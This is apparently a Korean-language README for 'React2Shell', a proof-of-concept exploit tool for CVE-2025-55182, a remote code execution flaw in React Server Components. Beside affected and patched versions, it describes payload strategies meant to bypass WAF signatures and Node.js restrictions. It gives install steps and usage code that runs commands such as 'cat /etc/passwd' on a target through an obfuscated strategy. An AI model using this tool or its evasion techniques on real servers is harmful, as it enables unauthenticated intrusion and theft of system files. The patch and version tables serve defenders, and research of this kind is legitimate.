
React2Shell (CVE-2025-55182) 개념 증명(PoC) 익스플로잇으로, React Server Components(RSC)를 사용하는 최신 웹 프레임워크에서 CRITICAL(치명적) 원격 코드 실행(RCE) 취약점을 시연합니다.
React2Shell은 최신 웹 프레임워크의 React Server Components(RSC)에서 발견된 CRITICAL 원격 코드 실행(RCE) 취약점을 시연하는 개념 증명(PoC) 익스플로잇입니다.
이 PoC는 **CVE-2025-55182**를 대상으로 하며, 이는 React Server Components 구현의 안전하지 않은 역직렬화를 통해 인증되지 않은 원격 공격자가 임의의 시스템 명령을 실행할 수 있게 하는 CVSS 10.0 취약점입니다.
React2Shell은 React Server Components가 rehydration 과정에서 신뢰할 수 없는 입력을 처리할 때 발생하는 결함을 악용합니다.
이 취약점은 컴포넌트 트리를 직렬화하고 역직렬화하는 기본 react-server-dom-* 패키지에서 비롯됩니다.
영향을 받는 버전의 React Server Components를 사용하는 애플리케이션은 악성 페이로드를 처리하는 과정에서 서버 프로세스의 권한으로 **원격 코드 실행(RCE)**으로 이어질 수 있습니다.
공격자는 다음을 수행할 수 있습니다:
배포 환경이 아래의 취약한 버전 중 하나에 해당하고 RSC 엔드포인트를 노출한다면 vulnerable 상태입니다.
이 취약점은 다음 패키지의 19.0.0, 19.1.0, 19.1.1, 19.2.0 버전에 존재합니다:
react-server-dom-parcelreact-server-dom-webpackreact-server-dom-turbopack이 패키지는 여러 프레임워크에 번들로 포함되어 있으며, 여기에는 다음에 국한되지 않습니다:
15.0.0부터 16.0.6까지의 버전14.3.0-canary.76 이후의 Canary 버전v19.0.0–19.2.0의 RSC 사용), 예:
ViteParcelReact RouterRedwoodSDKWaku취약한 React Server Components 구현을 포함하는 모든 프레임워크는 잠재적으로 영향을 받을 수 있습니다.
React2Shell은 일반적인 Node.js 제한 및 WAF 규칙을 우회하도록 설계된 모듈형 페이로드 생성기를 포함합니다:
표준 주입
process.mainModule.require 사용Next.js / Webpack 번들 대상.비동기 우회
require를 사용할 수 없는 엄격한 ESM 환경을 위해 동적 import() 사용.난독화
child_process)을 16진수 버퍼로 인코딩하여 단순한 WAF 시그니처를 우회.모듈 폴백
module.createRequire를 활용해 대체 컨텍스트에서 모듈 로드.범용 타기팅
//RSC/foo.txt와 같은 RSC 엔드포인트Node.js v18.0.0 이상.git clone https://github.com/rsch-io/CVE-2025-55182-React2Shell.git
cd CVE-2025-55182-React2Shell
npm install form-data
React2Shell은 자체 테스트 스크립트에 모듈로 가져와 사용하도록 설계되었습니다.
exploit.js라는 파일을 생성합니다:
const React2Shell = require('./src/react2shell');
// Initialize with target base URL
const target = new React2Shell('http://localhost:3000');
// Execute command using the "standard" strategy
// Arguments: execute(command, endpoint, strategy)
target.execute('whoami', '/', 'standard');
그런 다음 실행합니다:
node exploit.js
참고
endpoint는 RSC가 활성화된 라우트로 설정해야 합니다 (예:/,/RSC/foo.txt, 또는 프레임워크별 RSC 엔드포인트).strategy는 변경할 수 있습니다 (예:standard,async,obfuscated, 또는react2shell에 구현된 다른 전략).
Waku와 다른 프레임워크는 종종 특정 라우트에서 RSC 처리를 노출합니다:
// Target a Waku application
// Note: Use 'async' strategy as Waku often runs in strict ESM
target.execute('ls -la', '/RSC/foo.txt', 'async');
서버가 child_process를 포함하는 문자열을 차단하는 경우 obfuscated 전략을 사용할 수 있습니다:
target.execute('cat /etc/passwd', '/', 'obfuscated');
즉시 업데이트하세요. 업데이트된 React 및 영향을 받는 다운스트림 프레임워크 릴리스에는 의도하지 않은 동작을 방지하기 위해 사용자 입력 처리를 강화한 버전이 포함되어 있습니다.
모든 사용자는 가능한 한 빨리 패치된 버전으로 업그레이드해야 합니다.
다음은 패치된 버전의 최종 목록입니다. 배포 버전이 이보다 낮다면 vulnerable 상태입니다.
Next.js 14 사용자 경고
Next.js 14.3.0-canary.77이상의 Canary 릴리스를 사용 중이라면vulnerable상태입니다.
이 취약점은 해당 카나리 빌드에 포함된 실험용 RSC 구현에 영향을 미치므로, 즉시 최신 안정14.x릴리스로 다운그레이드해야 합니다.
이 프로젝트는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.
명시적 허가 없이 시스템에 이 도구를 사용하는 것은 불법적이고 비윤리적입니다.
저자는 이 도구로 인한 오용 또는 피해에 대해 책임을 지지 않습니다.
이 프로젝트는 MIT License에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.
| 지표 | 세부 정보 |
|---|
| 심각도 | CRITICAL (10.0 / 10.0) |
| 벡터 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| 공격 벡터 | Network (Remote) |
| 사용자 상호작용 | None |
| 소프트웨어 / 패키지 | 브랜치 / 유형 | 🛡️ 패치 / 안전 버전 |
|---|
React | 안정 | 19.0.1, 19.1.2, 19.2.1 |
Next.js | v15 (안정) | 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 |
Next.js | v16 (안정) | 16.0.7 |
Next.js | Canary | 15.6.0-canary.58 |